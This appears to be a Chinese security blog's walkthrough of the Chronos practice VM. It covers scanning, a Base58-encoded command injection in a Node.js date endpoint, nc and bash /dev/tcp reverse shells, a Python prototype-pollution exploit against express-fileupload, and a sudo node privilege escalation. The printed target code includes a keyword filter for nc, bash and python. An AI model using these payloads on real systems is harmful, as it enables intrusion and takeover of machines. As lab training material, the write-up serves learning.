团队小老弟的内网打靶记录--3

admin 2023年8月24日12:18:02评论38 views字数 8617阅读28分43秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本
公众号无关。

Chronos靶机

主机发现

老规矩`ifconfig

今天用netdiscover来探测主机

这款工具与arp-scanarping原理都是相同的,都是通过发送arp广播数据包来进行主机发现,只是命令的使用格式不一样

 netdiscover -r 192.168.56.4/24 -i eth1  //-r指定端口   -i指定网卡

得知我们的靶机地址是192.168.56.107

端口扫描

namp -p- 192.168.56.107

深度扫描nmap -p22,80,8000 -sV 192.168.56.107

根据扫描结果显示:

  • 22端口,开放的是OpenSSH 7.6p1这个版本的的SSH服务,且目标靶机的操作系统可能是Ubuntu

  • 80端口,开放的是Apache web应用,再次验证目标靶机的操作系统可能是Ubuntu

  • 8000端口,开放的是http应用,使用的是Node.js技术结合Express开发框架

打点

尝试浏览器访问:192.168.56.107192.168.56.107:80

192.168.56.107:8000

看着页面很简单,通过discearch扫描之后并没有什么发现,那么我们通过看看他的源代码有没有什么猫腻

果然,发现了一段js代码:

    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

仔细一看,几乎全是经过编码处理过的,那么我们接下来就是解码处理了-----我们通过CyberChef来解码

粗略看一下,发现没什么东西,但定睛一看有一串代码貌似有点东西

'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
    'User-Agent',
    'status',
    '1DYOODT',
    '400909Mbbcfr',
    'Chronos',
    '2QRBPWS',
    'getElementById',
    'innerHTML',
    'date'

这个urlhttp://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL貌似是个切入点,猜测这个chronosl.local这个域名指向的就是我们的主机192.168.56.107

接下来绑定一下域名和ip

vi /etc/hosts

接下来我们尝试ping下,看看是否可以正确解析到靶机ip和是否存活

发现成功,验证猜想


因为我们绑定了正确的域名和ip,再次访问已经可以通过js脚本加载出来了一些新资源。多了一个时间戳。

那么我们burp抓个包,分析一下整个通信过程。

先用option方式访问了刚刚源码里看到的那个地址

在用get的方式去访问了一次,然后服务的给我们的回显时间内容

把能收到回显的这个请求包丢到重放模块,看看为啥访问了这个地址会返回服务端的时间。

首先就怀疑地址里那一段加密的,那个加密的东东应该决定了某个东西,随便改一下看看啥效果。

没有给时间戳,也没有任何回显,所以fomat这个传参的内容控制我们的回显

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

乍一看,不知道是什么加密方式,但我们有万能的工具,hhhh

丢到cybrechef的magic模块,它会自动帮你分析所有可能的加密,并且解码

Base58解密明文:'+Today is %A, %B %d, %Y %H:%M:%S.'

Base58和Base64的区别

Base58是用于Bitcoin中使用的一种独特的编码方式,主要用于产生Bitcoin的钱包地址。

相比Base64,Base58不使用数字"0",字母大写"O",字母大写"I",和字母小写"l",以及"+"和"/"符号。

设计Base58主要的目的是:

避免混淆。在某些字体下,数字0和字母大写O,以及字母大写I和字母小写l会非常相似。

不使用"+"和"/"的原因是非字母或数字的字符串作为帐号较难被接受。

没有标点符号,通常不会被从中间分行。

大部分的软件支持双击选择整个字符串。

但是这个base58的计算量比base64的计算量多了很多。因为58不是2的整数倍,需要不断用除法去计算。

而且长度也比base64稍微多了一点。

结合转码后字符串'+Today is %A, %B %d, %Y %H:%M:%S.'url地址http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL中的date查询参数,非常像Linux中的date命令

比方说命令:date '+Today is %A, %B %d, %Y %H:%M:%S.'

为了更加了解,我们去查看下date命令后,发现:

%A : 星期几 (Sunday..Saturday)
%B : 月份 (January..December)
%d : 日 (01..31)
%Y : 完整年份 (0000..9999)
%H : 小时(00..23)
%M : 分钟(00..59)
%S : 秒(00..61)

当产生这个怀疑并进行简单测试之后,初步推测:当访问这段http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL地址时,服务端执行的就是Linux date系统命令,如果执行的是系统指令,那么就应该可以通过诸如,管道符||&&来注入更多的命令,从而实现反弹shell

&&&

1.&&是逻辑与(短路与),当第一个判断条件满足要求时(返回true),第二个判断条件就执行;只有当两个判断条件都返回true时,整个逻辑运算才返回true。

2.&按位与,不论什么情况下,两边的判断条件都会执行,当两边都返回true时,按位与才返回true。

|||

1.当使用 | 时,若前面的表达式为真时,程序会继续执行后面的表达式

2.当使用 ||(短路或)时,若前面的表达式结果为真,则程序不会再执行后面的表达式,

那么由此可得出我们可以借助&&构造Payloads,进行base58编码后提交到服务端,验证猜想,Payloads如下

&& ls

将其进行Base58编码处理

5Jdixo4作为参数值提交到服务端

我们可以发现目录下的4个文件,说明这里有命令漏洞

反弹shell

我们通过上方可以知道已经有了命令漏洞,那么我们看下万能的nc命令是否存在,我们可以在/bin目录查看一下所支持的所有命令

构造payload:

;ls /bin

接着修改,发包,查看回显

我们可以看到nc命令是包含的,所有我们可以用万能的nc

因为不确定nc的版本,所以还是选择靶机2里用到的姿势来反弹shell

;nc 192.168.56.107 4444 | bin/bash | nc 192.168.56.107 6666

注意,注意:

上方的ip是靶机的,我们监听的是kali的ip,导致我一直没有监听到,真的对自己无语子,一直监听的是靶机的端口,我是真的会谢

重新监听

;nc 192.168.56.102 4444 | /bin/bash | nc 192.168.56.102 6666

BXrAnK4zkXQq1WNQQbwadtWWbeW6MStvkU3MAtFaNBHMAcRCakrrboPvwVZUrMY6ga5mVymNWqQPMA5NCM

在bp查看回显下,显示Something went worry

但是我们回过头来看我们的监听,发现成功

提权

linux提权三大件

  • sudo -l

  • 内核漏洞

  • suid文件

老样子反弹shell,查一查id,lspwd

这里可以看到内核版本并没有发现利用漏洞。

sudo没有执行权限。(没有回显)

果然我们还是普通用户,我们所处的地方在opt/chronos

反弹shell成功,由于利用的是web服务器上的命令注入漏洞获取到的shell,所以默认所处的路径应该是当前web应用所在的应用程序放置路径

看看package.json

发现有4个依赖库,Base58应该就是依赖着bs58来做的加密

再来看看app.js

 created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');

app.use(cors());

app.get('/', (req,res) =>{

res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{

res.send("Permission Denied");
}
})

app.listen(port,() => {

console.log(`Server running at ${port}`);

})

审计一下,发现并没有什么可以提权的东东

我们去上一级目录瞅瞅看看有什么有用的东西cd ..

发现文件chronos-v2是root,我们进入这个文件,并查看有那些文件

发现这个另外一个web应用,有前端模板文件index.html,前端代码目录frontend,后端代码目录backend

进入后端代码目录中看一下

很熟悉,还是有一个package.json文件,查看一下内容,有哪些库,看看会不会有提权漏洞

ejs:是一套简单的模板语言,帮你利用普通的 JavaScript 代码生成 HTML 页面。
express:基于 Node.js 平台,快速、开放、极简的 Web 开发框架。
express-fileupload:用于上传文件的Simple Express中间件。

ejsexpress都没有给机会,但是express-fileupload给了提权一线曙光

查看服务端代码文件server.js

//加载用到的库
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

//将parseNested设置为了true
app.use(fileupload({ parseNested: true }));

//设置模板引擎和页面
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

//路由配置
app.get('/', (req, res) => {
res.render('index')
});
//启动在127.0.0.1的8080端口
//这也在解释为什么在扫描的时候没有发现这个web应用
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});

发现这里也启动了这么一个服务。而且这个服务只在本机上运行,8080端口。因为ip是127.0.0.1的缘故,所以只能通过这个靶机本身去访问,所以我们信息收集的时候是看不到这个服务的。

回到package.json文件,express-fileupload是存在漏洞的

相关漏洞参考链接:

https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/ (这篇文章需要翻墙)

https://blog.p6.is/Real-World-JS-1/(漏洞作者的博客)

漏洞作者在博客内说明了这个漏洞的情况并且给出了exp。这里是一个原型链污染漏洞

exp:

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/kali的ip/kali监听的端口 0>&1"'

# pollute
requests.post('http://靶机服务ip:靶机服务端口', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://靶机服务ip:靶机服务端口')

我们需要在kali编辑一下,在上传到靶机

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.107/8888 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

然后启动一个python服务器

 python -m http.server 80

靶机来到tmp目录底下。然后在这里执行一下wget命令。

wget http://192.168.56.102/exp.py

我们再回到kali终端。启动对8888的监听,因为我们在上面脚本设置的就是8888端口

返回到靶机的shell中执行python3 exp.py,可以发现我们监听的8888端口已经收到了反弹的shell,查看了id,但还是普通用户

我们进入家目录,查看了user,txt,得到了第一个flag:byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

使用sudo -l可以发现我们可以通过sudo以root身份使用node相关的命令

通过node提权相关的操作

sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'

执行命令之后,得到了root权限

我们再回到家目录,查看了第二个flag:byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

总结:

这次打靶貌似头有点晕,比前两个绕的多

1.靶机发现,新姿势netdiscover

2.端口扫描/web服务

3.信息收集

编码工具Cyberchef的使用(magic和base58)

在靶机的框架中exprss-fileupload库有漏洞

4.提权三大件

  • sudo -l

  • 内核漏洞

  • suid文件

5.反弹shell拿到imrea权限,得到第一个flag

6.尝试sudo -l配置不当,通过node命令可以提权

7.提权成功,成为root权限,得到第二个flag

x9sec内部知识星球(价值59元),附赠2023HW最新POC大全,以及各种内部讨论群,每周都会定期进行信息安全就业+漏洞挖掘分享

为反馈粉丝,现推出抽奖活动

一等奖:免费培训资格 2名

二等奖:星球免费资格 5名

转发公众号到朋友圈点赞超过15个,截图联系管理兑奖

点击下方链接或关注下方公众号名片回复“抽奖”

扫码加管理微信

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月24日12:18:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   团队小老弟的内网打靶记录--3https://cn-sec.com/archives/1974821.html

发表评论

匿名网友 填写信息